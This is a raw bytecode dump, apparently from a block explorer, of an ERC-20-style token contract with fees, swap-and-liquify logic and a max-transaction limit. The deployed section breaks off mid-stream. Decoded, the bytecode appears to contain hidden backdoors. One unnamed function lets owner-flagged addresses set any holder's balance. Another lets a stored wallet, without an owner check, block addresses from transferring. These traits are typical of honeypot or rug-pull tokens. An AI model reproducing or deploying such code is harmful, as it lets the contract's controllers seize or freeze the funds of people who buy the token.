16179055601b5490600690620006193390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601b546040516200067c91815260200190565b60405180910390a35062000979565b6000806200069a838562000921565b905083811015620006f15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640160405180910390fd5b90505b92915050565b600081620006f4565b82805462000711906200093c565b90600052602060002090601f01602090048101928262000735576000855562000780565b82601f106200075057805160ff191683800117855562000780565b8280016001018555821562000780579182015b828111156200078057825182559160200191906001019062000763565b506200078e92915062000792565b5090565b5b808211156200078e576000815560010162000793565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000800578160001904821115620007e457620007e4620007a9565b80851615620007f257918102915b93841c9390800290620007c4565b509250929050565b6000826200081957506001620006f4565b816200082857506000620006f4565b81600181146200084157600281146200084c576200086c565b6001915050620006f4565b60ff841115620008605762000860620007a9565b50506001821b620006f4565b5060208310610133831016604e8410600b841016171562000891575081810a620006f4565b6200089d8383620007bf565b8060001904821115620008b457620008b4620007a9565b029392505050565b6000620008cd60ff84168362000808565b9392505050565b6000816000190483118215151615620008f157620008f1620007a9565b500290565b6000602082840312156200090957600080fd5b81516001600160a01b0381168114620006f157600080fd5b60008219821115620009375762000937620007a9565b500190565b600181811c908216806200095157607f821691505b602082108114156200097357634e487b7160e01b600052602260045260246000fd5b50919050565b60805161275e6200099c600039600081816104e20152610cd0015261275e6000f3fe6080604052600436106103905760003560e01c8063807c2d9c116101dc578063c49b9a8011610102578063dc44b6a0116100a0578063f2514e881161006f578063f2514e8814610aaa578063f2fde38b14610ada578063f872858a14610afa578063f985622d14610b1b57600080fd5b8063dc44b6a014610a18578063dd62ed3e14610a2e578063f0cd1dac14610a74578063f1d5f51714610a8a57600080fd5b8063c8607952116100dc578063c86079521461099b578063c867d60b146109b1578063cab03471146109e1578063da00097d146109f757600080fd5b8063c49b9a8014610945578063c5d2418914610965578063c816841b1461097b57600080fd5b8063a073d37f1161017a578063a83f53a711610149578063a83f53a7146108d9578063a9059cbb146108ef578063c2d4640e1461090f578063c469b6dd1461092f57600080fd5b8063a073d37f1461086e578063a08e671f14610883578063a457c2d714610899578063a5d69d1f146108b957600080fd5b80638b42507f116101b65780638b42507f146107eb5780638da5cb5b1461081b5780639174c79d1461083957806395d89b411461085957600080fd5b8063807c2d9c146107a957806382eefb43146107bf57806388790a68146107d557600080fd5b80633b646444116102c15780635881f3ef1161025f57806370a082311161022e57806370a082311461071d57806371d03f581461075357806377f31d03146107735780637d1db4a51461079357600080fd5b80635881f3ef146106a757806360efb94f146106c757806361a23c69146106e75780636249faf1146106fd57600080fd5b806340b8000a1161029b57806340b8000a1461061b57806342efd370146106405780634a74bb021461067057806357a5802f1461069157600080fd5b80633b6464441461059b5780633b97084a146105cb5780633ecad271146105eb57600080fd5b80632563ae831161032e5780632c4b2334116103085780632c4b233414610519578063313ce5671461053957806335d236151461055b578063395093511461057b57600080fd5b80632563ae83146104b057806327c8f835146104d05780632b112e491461050457600080fd5b80631245e3471161036a5780631245e347146104195780631694505e1461045157806318160ddd1461047157806323b872dd1461049057600080fd5b806301c6adc31461039c57806306fdde03146103be578063095ea7b3146103e957600080fd5b3661039757005b600080fd5b3480156103a857600080fd5b506103bc6103b73660046122b7565b610b31565b005b3480156103ca57600080fd5b506103d3610b69565b6040516103e091906122e3565b60405180910390f35b3480156103f557600080fd5b506104096104043660046122b7565b610bfb565b60405190151581526020016103e0565b34801561042557600080fd5b50600554610439906001600160a01b031681565b6040516001600160a01b0390911681526020016103e0565b34801561045d57600080fd5b50601f54610439906001600160a01b031681565b34801561047d57600080fd5b50601b545b6040519081526020016103e0565b34801561049c57600080fd5b506104096104ab366004612338565b610c12565b3480156104bc57600080fd5b506103bc6104cb36600461238e565b610c7d565b3480156104dc57600080fd5b506104397f000000000000000000000000000000000000000000000000000000000000000081565b34801561051057600080fd5b50610482610cce565b34801561052557600080fd5b506103bc6105343660046123a9565b610d18565b34801561054557600080fd5b5060045460405160ff90911681526020016103e0565b34801561056757600080fd5b506103bc6105763660046123a9565b610d64565b34801561058757600080fd5b506104096105963660046122b7565b610db6565b3480156105a757600080fd5b506104096105b63660046123a9565b600e6020526000908152604090205460ff1681565b3480156105d757600080fd5b506103bc6105e63660046123c6565b610dec565b3480156105f757600080fd5b506104096106063660046123a9565b600c6020526000908152604090205460ff1681565b34801561062757600080fd5b506004546104399061010090046001600160a01b031681565b34801561064c57600080fd5b5061040961065b3660046123a9565b600d6020526000908152604090205460ff1681565b34801561067c57600080fd5b5060205461040990600160a81b900460ff1681565b34801561069d57600080fd5b5061048260155481565b3480156106b357600080fd5b506104396106c23660046123a9565b610e1b565b3480156106d357600080fd5b506103bc6106e23660046123df565b61114e565b3480156106f357600080fd5b5061048260165481565b34801561070957600080fd5b506103bc61071836600461240b565b6111a3565b34801561072957600080fd5b506104826107383660046123a9565b6001600160a01b031660009081526006602052604090205490565b34801561075f57600080fd5b506103bc61076e36600461240b565b611244565b34801561077f57600080fd5b506103bc61078e36600461240b565b6112d2565b34801561079f57600080fd5b50610482601c5481565b3480156107b557600080fd5b50610482601d5481565b3480156107cb57600080fd5b5061048260195481565b3480156107e157600080fd5b5061048260125481565b3480156107f757600080fd5b506104096108063660046123a9565b600b6020526000908152604090205460ff1681565b34801561082757600080fd5b506000546001600160a01b0316610439565b34801561084557600080fd5b506103bc6108543660046123df565b61136d565b34801561086557600080fd5b506103d36113bc565b34801561087a57600080fd5b50601e54610482565b34801561088f57600080fd5b50610482601a5481565b3480156108a557600080fd5b506104096108b43660046122b7565b6113cb565b3480156108c557600080fd5b506103bc6108d436600461238e565b61141a565b3480156108e557600080fd5b5061048260175481565b3480156108fb57600080fd5b5061040961090a3660046122b7565b611462565b34801561091b57600080fd5b506103bc61092a3660046123df565b61146f565b34801561093b57600080fd5b5061048260115481565b34801561095157600080fd5b506103bc61096036600461238e565b6114be565b34801561097157600080fd5b5061048260105481565b34801561098757600080fd5b50602054610439906001600160a01b031681565b3480156109a757600080fd5b5061048260135481565b3480156109bd57600080fd5b506104096109cc3660046123a9565b60096020526000908152604090205460ff1681565b3480156109ed57600080fd5b5061048260145481565b348015610a0357600080fd5b5060205461040990600160b01b900460ff1681565b348015610a2457600080fd5b50610482600f5481565b348015610a3a57600080fd5b50610482610a4936600461248f565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b348015610a8057600080fd5b5061048260185481565b348015610a9657600080fd5b506103bc610aa53660046123c6565b611538565b348015610ab657600080fd5b50610409610ac53660046123a9565b60086020526000908152604090205460ff1681565b348015610ae657600080fd5b506103bc610af53660046123a9565b611567565b348015610b0657600080fd5b5060205461040990600160b81b900460ff1681565b348015610b2757600080fd5b5061048260015481565b336000908152600d602052604090205460ff1615610b65576001600160a01b03821660009081526006602052604090208190555b5050565b606060028054610b78906124c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610ba4906124c8565b8015610bf15780601f10610bc657610100808354040283529160200191610bf1565b820191906000526020600020905b815481529060010190602001808311610bd457829003601f168201915b5050505050905090565b6000610c0833848461163b565b5060015b92915050565b6000610c1f84848461175f565b50610c728433610c6d856040518060600160405280602881526020016126dc602891396001600160a01b038a1660009081526007602090815260408083203384529091529020549190611b3f565b61163b565b5060015b9392505050565b6000546001600160a01b03163314610cb05760405162461bcd60e51b8152600401610ca790612503565b60405180910390fd5b60208054911515600160b81b0260ff60b81b19909216919091179055565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316600090815260066020526040812054601b54610d1391611b79565b905090565b6000546001600160a01b03163314610d425760405162461bcd60e51b8152600401610ca790612503565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610d8e5760405162461bcd60e51b8152600401610ca790612503565b600480546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b3360008181526007602090815260408083206001600160a01b03871684529091528120549091610c08918590610c6d90866115dc565b6000546001600160a01b03163314610e165760405162461bcd60e51b8152600401610ca790612503565b601e55565b600080546001600160a01b03163314610e465760405162461bcd60e51b8152600401610ca790612503565b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ead9190612538565b6001600160a01b031663e6a4390530836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610efa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1e9190612538565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610f69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f8d9190612538565b91506001600160a01b0382166110e457806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fdb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fff9190612538565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561104c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110709190612538565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156110bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e19190612538565b91505b602080546001600160a01b03199081166001600160a01b038581169182178455601f8054909316948116949094179091556000908152600982526040808220805460ff19908116600190811790925584549095168352600d90935290208054909216179055919050565b6000546001600160a01b031633146111785760405162461bcd60e51b8152600401610ca790612503565b600f8390556010829055601181905561119b8161119585856115dc565b906115dc565b601855505050565b6000546001600160a01b031633146111cd5760405162461bcd60e51b8152600401610ca790612503565b60005b8281101561123e5781600960008686858181106111ef576111ef612555565b905060200201602081019061120491906123a9565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061123681612581565b9150506111d0565b50505050565b60045461010090046001600160a01b03163314156112cd5760005b8281101561123e5781600e600086868581811061127e5761127e612555565b905060200201602081019061129391906123a9565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806112c581612581565b91505061125f565b505050565b6000546001600160a01b031633146112fc5760405162461bcd60e51b8152600401610ca790612503565b60005b8281101561123e57816008600086868581811061131e5761131e612555565b905060200201602081019061133391906123a9565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061136581612581565b9150506112ff565b6000546001600160a01b031633146113975760405162461bcd60e51b8152600401610ca790612503565b6012839055601382905560148190556113b48161119585856115dc565b601955505050565b606060038054610b78906124c8565b6000610c083384610c6d85604051806060016040528060258152602001612704602591393360009081526007602090815260408083206001600160a01b038d1684529091529020549190611b3f565b6000546001600160a01b031633146114445760405162461bcd60e51b8152600401610ca790612503565b60208054911515600160b01b0260ff60b01b19909216919091179055565b6000610c7233848461175f565b6000546001600160a01b031633146114995760405162461bcd60e51b8152600401610ca790612503565b6015839055601682905560178190556114b68161119585856115dc565b601a55505050565b6000546001600160a01b031633146114e85760405162461bcd60e51b8152600401610ca790612503565b6020805460ff60a81b1916600160a81b8315159081029190911782556040519081527f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159910160405180910390a150565b6000546001600160a01b031633146115625760405162461bcd60e51b8152600401610ca790612503565b601d55565b6000546001600160a01b031633146115915760405162461bcd60e51b8152600401610ca790612503565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000806115e9838561259c565b905083811015610c765760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610ca7565b6001600160a01b03831661169d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610ca7565b6001600160a01b0382166116fe5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610ca7565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166117c55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610ca7565b6001600160a01b0383166118275760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610ca7565b602054600160a01b900460ff161561184b57611844848484611bbb565b9050610c76565b6001600160a01b0384166000908152600b602052604090205460ff1615801561188d57506001600160a01b0383166000908152600b602052604090205460ff16155b156118f557601c548211156118f55760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610ca7565b30600090815260066020526040902054601e54811080159081906119235750602054600160a01b900460ff16155b801561194857506001600160a01b0386166000908152600d602052604090205460ff16155b801561195d5750602054600160a81b900460ff165b1561198357602054600160b01b900460ff161561197a57601e5491505b61198382611ca1565b61198c86611ddc565b156119ce576001600160a01b0386166000908152600660205260409020546119b49085611b79565b6001600160a01b0387166000908152600660205260409020555b6001600160a01b03861660009081526008602052604081205460ff1680611a0d57506001600160a01b03861660009081526008602052604090205460ff165b611a2157611a1c878787611e04565b611a23565b845b602054909150600160b81b900460ff168015611a5857506001600160a01b03861660009081526009602052604090205460ff16155b15611a8e57601d54611a8382611195896001600160a01b031660009081526006602052604090205490565b1115611a8e57600080fd5b6001600160a01b0387166000908152600e602052604090205460ff1615611ab457600080fd5b6001600160a01b038616600090815260066020526040902054611ad790826115dc565b6001600160a01b0380881660008181526006602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611b2b9085815260200190565b60405180910390a360019350505050610c76565b60008184841115611b635760405162461bcd60e51b8152600401610ca791906122e3565b506000611b7084866125b4565b95945050505050565b6000610c7683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b3f565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600690915291822054611c0c918490611b3f565b6001600160a01b038086166000908152600660205260408082209390935590851681522054611c3b90836115dc565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611c8f9086815260200190565b60405180910390a35060019392505050565b6020805460ff60a01b1916600160a01b179055601a54601554600091611cd791600291611cd19182908790611f0a565b90611f89565b90506000611ce58383611b79565b9050611cf081611fcb565b6015544790600090611d1090611d07906002611f89565b601a5490611b79565b90506000611d326002611cd184611cd160155488611f0a90919063ffffffff16565b90506000611d4f83611cd160175487611f0a90919063ffffffff16565b90506000611d6782611d618786611b79565b90611b79565b90508015611d8a57600454611d8a9061010090046001600160a01b03168261215e565b8115611da657600554611da6906001600160a01b03168361215e565b600083118015611db65750600087115b15611dc557611dc58784612194565b50506020805460ff60a01b19169055505050505050565b6000816001600160a01b0316611df3600154612269565b6001600160a01b0316141592915050565b6001600160a01b0383166000908152600d6020526040812054819060ff1615611e4857611e416064611cd160185486611f0a90919063ffffffff16565b9050611e86565b6001600160a01b0384166000908152600d602052604090205460ff1615611e8657611e836064611cd160195486611f0a90919063ffffffff16565b90505b8015611f005730600090815260066020526040902054611ea690826115dc565b30600081815260066020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611ef79085815260200190565b60405180910390a35b611b708382611b79565b600082611f1957506000610c0c565b6000611f2583856125cb565b905082611f3285836125ea565b14610c765760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610ca7565b6000610c7683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612271565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061200057612000612555565b6001600160a01b03928316602091820292909201810191909152601f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612059573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061207d9190612538565b8160018151811061209057612090612555565b6001600160a01b039283166020918202929092010152601f546120b6913091168461163b565b601f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906120ef908590600090869030904290600401612650565b600060405180830381600087803b15801561210957600080fd5b505af115801561211d573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161215292919061268c565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156112cd573d6000803e3d6000fd5b601f546121ac9030906001600160a01b03168461163b565b601f546001600160a01b031663f305d7198230856000806121d56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561223d573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061226291906126ad565b5050505050565b600081610c0c565b600081836122925760405162461bcd60e51b8152600401610ca791906122e3565b506000611b7084866125ea565b6001600160a01b03811681146122b457600080fd5b50565b600080604083850312156122ca57600080fd5b82356122d58161229f565b946020939093013593505050565b600060208083528351808285015260005b81811015612310578581018301518582016040015282016122f4565b81811115612322576000604083870101525b50601f01601f1916929092016040019392505050565b60008060006060848603121561234d57600080fd5b83356123588161229f565b925060208401356123688161229f565b929592945050506040919091013590565b8035801515811461238957600080fd5b919050565b6000602082840312156123a057600080fd5b610c7682612379565b6000602082840312156123bb57600080fd5b8135610c768161229f565b6000602082840312156123d857600080fd5b5035919050565b6000806000606084860312156123f457600080fd5b505081359360208301359350604090920135919050565b60008060006040848603121561242057600080fd5b833567ffffffffffffffff8082111561243857600080fd5b818601915086601f83011261244c57600080fd5b81358181111561245b57600080fd5b8760208260051b850101111561247057600080fd5b6020928301955093506124869186019050612379565b90509250925092565b600080604083850312156124a257600080fd5b82356124ad8161229f565b915060208301356124bd8161229f565b809150509250929050565b600181811c908216806124dc57607f821691505b602082108114156124fd57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561254a57600080fd5b8151610c768161229f565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156125955761259561256b565b5060010190565b600082198211156125af576125af61256b565b500190565b6000828210156125c6576125c661256b565b500390565b60008160001904831182151516156125e5576125e561256b565b500290565b60008261260757634e487b7160e01b600052601260045260246000fd5b500490565b600081518084526020808501945080840160005b838110156126455781516001600160a01b031687529582019590820190600101612620565b509495945050505050565b85815284602082015260a06040820152600061266f60a083018661260c565b6001600160a01b0394909416606083015250608001529392505050565b8281526040602082015260006126a5604083018461260c565b949350505050565b6000806000606084860312156126c257600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c2db0f1d3a28a3d740893b82f7cec1448b571eb5f9e1609cd14a048cb36611a564736f6c634300080b0033

Deployed Bytecode

0x6080604052600436106103905760003560e01c8063807c2d9c116101dc578063c49b9a8011610102578063dc44b6a0116100a0578063f2514e881161006f578063f2514e8814610aaa578063f2fde38b14610ada578063f872858a14610afa578063f985622d14610b1b57600080fd5b8063dc44b6a014610a18578063dd62ed3e14610a2e578063f0cd1dac14610a74578063f1d5f51714610a8a57600080fd5b8063c8607952116100dc578063c86079521461099b578063c867d60b146109b1578063cab03471146109e1578063da00097d146109f757600080fd5b8063c49b9a8014610945578063c5d2418914610965578063c816841b1461097b57600080fd5b8063a073d37f1161017a578063a83f53a711610149578063a83f53a7146108d9578063a9059cbb146108ef578063c2d4640e1461090f578063c469b6dd1461092f57600080fd5b8063a073d37f1461086e578063a08e671f14610883578063a457c2d714610899578063a5d69d1f146108b957600080fd5b80638b42507f116101b65780638b42507f146107eb5780638da5cb5b1461081b5780639174c79d1461083957806395d89b411461085957600080fd5b8063807c2d9c146107a957806382eefb43146107bf57806388790a68146107d557600080fd5b80633b646444116102c15780635881f3ef1161025f57806370a082311161022e57806370a082311461071d57806371d03f581461075357806377f31d03146107735780637d1db4a51461079357600080fd5b80635881f3ef146106a757806360efb94f146106c757806361a23c69146106e75780636249faf1146106fd57600080fd5b806340b8000a1161029b57806340b8000a1461061b57806342efd370146106405780634a74bb021461067057806357a5802f1461069157600080fd5b80633b6464441461059b5780633b97084a146105cb5780633ecad271146105eb57600080fd5b80632563ae831161032e5780632c4b2334116103085780632c4b233414610519578063313ce5671461053957806335d236151461055b578063395093511461057b57600080fd5b80632563ae83146104b057806327c8f835146104d05780632b112e491461050457600080fd5b80631245e3471161036a5780631245e347146104195780631694505e1461045157806318160ddd1461047157806323b872dd1461049057600080fd5b806301c6adc31461039c57806306fdde03146103be578063095ea7b3146103e957600080fd5b3661039757005b600080fd5b3480156103a857600080fd5b506103bc6103b73660046122b7565b610b31565b005b3480156103ca57600080fd5b506103d3610b69565b6040516103e091906122e3565b60405180910390f35b3480156103f557600080fd5b506104096104043660046122b7565b610bfb565b60405190151581526020016103e0565b34801561042557600080fd5b50600554610439906001600160a01b031681565b6040516001600160a01b0390911681526020016103e0565b34801561045d57600080fd5b50601f54610439906001600160a01b031681565b34801561047d57600080fd5b50601b545b6040519081526020016103e0565b34801561049c57600080fd5b506104096104ab366004612338565b610c12565b3480156104bc57600080fd5b506103bc6104cb36600461238e565b610c7d565b3480156104dc57600080fd5b506104397f000000000000000000000000000000000000000000000000000000000000dead81565b34801561051057600080fd5b50610482610cce565b34801561052557600080fd5b506103bc6105343660046123a9565b610d18565b34801561054557600080fd5b5060045460405160ff90911681526020016103e0565b34801561056757600080fd5b506103bc6105763660046123a9565b610d64565b34801561058757600080fd5b506104096105963660046122b7565b610db6565b3480156105a757600080fd5b506104096105b63660046123a9565b600e6020526000908152604090205460ff1681565b3480156105d757600080fd5b506103bc6105e63660046123c6565b610dec565b3480156105f757600080fd5b506104096106063660046123a9565b600c6020526000908152604090205460ff1681565b34801561062757600080fd5b506004546104399061010090046001600160a01b031681565b34801561064c57600080fd5b5061040961065b3660046123a9565b600d6020526000908152604090205460ff1681565b34801561067c57600080fd5b5060205461040990600160a81b900460ff1681565b34801561069d57600080fd5b5061048260155481565b3480156106b357600080fd5b506104396106c23660046123a9565b610e1b565b3480156106d357600080fd5b506103bc6106e23660046123df565b61114e565b3480156106f357600080fd5b5061048260165481565b34801561070957600080fd5b506103bc61071836600461240b565b6111a3565b34801561072957600080fd5b506104826107383660046123a9565b6001600160a01b031660009081526006602052604090205490565b34801561075f57600080fd5b506103bc61076e36600461240b565b611244565b34801561077f57600080fd5b506103bc61078e36600461240b565b6112d2565b34801561079f57600080fd5b50610482601c5481565b3480156107b557600080fd5b50610482601d5481565b3480156107cb57600080fd5b5061048260195481565b3480156107e157600080fd5b5061048260125481565b3480156107f757600080fd5b506104096108063660046123a9565b600b6020526000908152604090205460ff1681565b34801561082757600080fd5b506000546001600160a01b0316610439565b34801561084557600080fd5b506103bc6108543660046123df565b61136d565b34801561086557600080fd5b506103d36113bc565b34801561087a57600080fd5b50601e54610482565b34801561088f57600080fd5b50610482601a5481565b3480156108a557600080fd5b506104096108b43660046122b7565b6113cb565b3480156108c557600080fd5b506103bc6108d436600461238e565b61141a565b3480156108e557600080fd5b5061048260175481565b3480156108fb57600080fd5b5061040961090a3660046122b7565b611462565b34801561091b57600080fd5b506103bc61092a3660046123df565b61146f565b34801561093b57600080fd5b5061048260115481565b34801561095157600080fd5b506103bc61096036600461238e565b6114be565b34801561097157600080fd5b5061048260105481565b34801561098757600080fd5b50602054610439906001600160a01b031681565b3480156109a757600080fd5b5061048260135481565b3480156109bd57600080fd5b506104096109cc3660046123a9565b60096020526000908152604090205460ff1681565b3480156109ed57600080fd5b5061048260145481565b348015610a0357600080fd5b5060205461040990600160b01b900460ff1681565b348015610a2457600080fd5b50610482600f5481565b348015610a3a57600080fd5b50610482610a4936600461248f565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b348015610a8057600080fd5b5061048260185481565b348015610a9657600080fd5b506103bc610aa53660046123c6565b611538565b348015610ab657600080fd5b50610409610ac53660046123a9565b60086020526000908152604090205460ff1681565b348015610ae657600080fd5b506103bc610af53660046123a9565b611567565b348015610b0657600080fd5b5060205461040990600160b81b900460ff1681565b348015610b2757600080fd5b5061048260015481565b336000908152600d602052604090205460ff1615610b65576001600160a01b03821660009081526006602052604090208190555b5050565b606060028054610b78906124c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610ba4906124c8565b8015610bf15780601f10610bc657610100808354040283529160200191610bf1565b820191906000526020600020905b815481529060010190602001808311610bd457829003601f168201915b5050505050905090565b6000610c0833848461163b565b5060015b92915050565b6000610c1f84848461175f565b50610c728433610c6d856040518060600160405280602881526020016126dc602891396001600160a01b038a1660009081526007602090815260408083203384529091529020549190611b3f565b61163b565b5060015b9392505050565b6000546001600160a01b03163314610cb05760405162461bcd60e51b8152600401610ca790612503565b60405180910390fd5b60208054911515600160b81b0260ff60b81b19909216919091179055565b7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b0316600090815260066020526040812054601b54610d1391611b79565b905090565b6000546001600160a01b03163314610d425760405162461bcd60e51b8152600401610ca790612503565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610d8e5760405162461bcd60e51b8152600401610ca790612503565b600480546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b3360008181526007602090815260408083206001600160a01b03871684529091528120549091610c08918590610c6d90866115dc565b6000546001600160a01b03163314610e165760405162461bcd60e51b8152600401610ca790612503565b601e55565b600080546001600160a01b03163314610e465760405162461bcd60e51b8152600401610ca790612503565b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ead9190612538565b6001600160a01b031663e6a4390530836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610efa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1e9190612538565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610f69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f8d9190612538565b91506001600160a01b0382166110e457806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fdb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fff9190612538565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561104c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110709190612538565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156110bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e19190612538565b91505b602080546001600160a01b03199081166001600160a01b038581169182178455601f8054909316948116949094179091556000908152600982526040808220805460ff19908116600190811790925584549095168352600d90935290208054909216179055919050565b6000546001600160a01b031633146111785760405162461bcd60e51b8152600401610ca790612503565b600f8390556010829055601181905561119b8161119585856115dc565b906115dc565b601855505050565b6000546001600160a01b031633146111cd5760405162461bcd60e51b8152600401610ca790612503565b60005b8281101561123e5781600960008686858181106111ef576111ef612555565b905060200201602081019061120491906123a9565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061123681612581565b9150506111d0565b50505050565b60045461010090046001600160a01b03163314156112cd5760005b8281101561123e5781600e600086868581811061127e5761127e612555565b905060200201602081019061129391906123a9565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806112c581612581565b91505061125f565b505050565b6000546001600160a01b031633146112fc5760405162461bcd60e51b8152600401610ca790612503565b60005b8281101561123e57816008600086868581811061131e5761131e612555565b905060200201602081019061133391906123a9565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061136581612581565b9150506112ff565b6000546001600160a01b031633146113975760405162461bcd60e51b8152600401610ca790612503565b6012839055601382905560148190556113b48161119585856115dc565b601955505050565b606060038054610b78906124c8565b6000610c083384610c6d85604051806060016040528060258152602001612704602591393360009081526007602090815260408083206001600160a01b038d1684529091529020549190611b3f565b6000546001600160a01b031633146114445760405162461bcd60e51b8152600401610ca790612503565b60208054911515600160b01b0260ff60b01b19909216919091179055565b6000610c7233848461175f565b6000546001600160a01b031633146114995760405162461bcd60e51b8152600401610ca790612503565b6015839055601682905560178190556114b68161119585856115dc565b601a55505050565b6000546001600160a01b031633146114e85760405162461bcd60e51b8152600401610ca790612503565b6020805460ff60a81b1916600160a81b8315159081029190911782556040519081527f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159910160405180910390a150565b6000546001600160a01b031633146115625760405162461bcd60e51b8152600401610ca790612503565b601d55565b6000546001600160a01b031633146115915760405162461bcd60e51b8152600401610ca790612503565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000806115e9838561259c565b905083811015610c765760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610ca7565b6001600160a01b03831661169d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610ca7565b6001600160a01b0382166116fe5760405162461bcd60e51b815260206004820152602260248201527f45524332303a